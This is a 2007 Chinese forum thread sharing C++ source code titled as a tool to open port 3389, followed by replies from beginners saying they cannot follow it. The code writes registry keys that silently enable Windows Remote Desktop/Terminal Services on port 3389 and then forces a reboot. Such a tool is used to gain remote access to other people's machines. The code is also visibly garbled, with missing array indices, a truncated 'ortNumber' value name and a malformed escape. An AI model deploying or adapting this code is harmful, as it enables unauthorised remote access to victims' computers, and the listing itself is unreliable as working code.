[C++源码]开3389端口源代码
[code]#include "windows.h"
#include "iostream.h"
void main(int argc, char* argv[])
{
HKEY hKey;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;
LPCTSTR key[]={"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache\\",
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\",
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\",
"SYSTEM\\CurrentControlSet\\Services\\TermDD\\",
"SYSTEM\\CurrentControlSet\\Services\\TermService\\",
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\",
".DEFAULT\\Keyboard Layout\\Toggle\\"};
HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_USERS};
DWORD type[] = {REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_SZ};
LPCTSTR value[] = {"\x00\x00\x00\x00", "\x01\x00\x00\x00", "\x01\x00\x00\x00", "\x02\x00\x00\x00", "\x02\x00\x00\x00", "\x3d\x0d\x00\00", "2"};
DWORD length[] = {4, 4, 4, 4, 4, 4, 2};
LPCTSTR name[] = {"Enabled","EnableAdminTSRemote","TSEnabled","Start","Start","ortNumber","Hotkey"};
for(int i = 0; i < 2; i++)
RegCreateKeyEx(head,key,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL);
for(i = 0; i < 7; i++)
{
if(::RegOpenKeyEx(head, key, 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
{
cout<<"Error Opening Register...\n";
return;
}
if(::RegSetValueEx(hKey, name, 0, type, (LPBYTE)value, length) != ERROR_SUCCESS)
{
cout<<"Error Writing Register...\n";
return;
}
}
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)
||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID))
{
cout<<"Error! Try iisreset.exe /reboot to reboot system!";
return;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);
return;
}
[/code]
[[i] 本帖最后由 逃学书童 于 2007-10-2 20:59 编辑 [/i]] 真的。 看不懂! 很想学! 看不懂没关系,你要先把基本的C语法看明白,然后多练习一点C的小程序!慢慢来,其实有很多程序我也看不懂,只能用GOOGLE或问人! 我也想学呢.......我不会编程 是用C++编写的!
会编程的人都能看得懂
! 好贴,学习了,支持发帖!!!:) :victory: C++
C都不会了 我也想看明白呀```就是不会编程`` 这个很好的。。。:( 呵呵 好象是在修改注册表吧 呵呵 看不太懂~呵呵~以后会明白的
好
哥们用鼠标大字支持你 我也看不懂,,只有来顶贴 ..能看懂了在来顶一次........... :( 用这些代码怎么写。 是C还是C++ 暑假准备专攻C
页:
[1]
